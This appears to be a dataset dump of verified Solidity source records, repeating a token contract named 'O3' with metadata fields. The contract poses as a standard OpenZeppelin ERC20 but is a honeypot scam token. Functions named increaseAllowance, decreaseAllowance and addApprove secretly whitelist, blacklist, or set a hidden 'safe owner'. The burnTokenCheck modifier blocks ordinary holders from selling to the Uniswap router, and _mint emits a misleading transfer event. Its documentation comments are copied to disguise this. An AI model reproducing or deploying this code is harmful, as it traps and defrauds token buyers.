function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
8392,
8698
]
} | 4,249 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
9025,
9448
]
} | 4,250 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
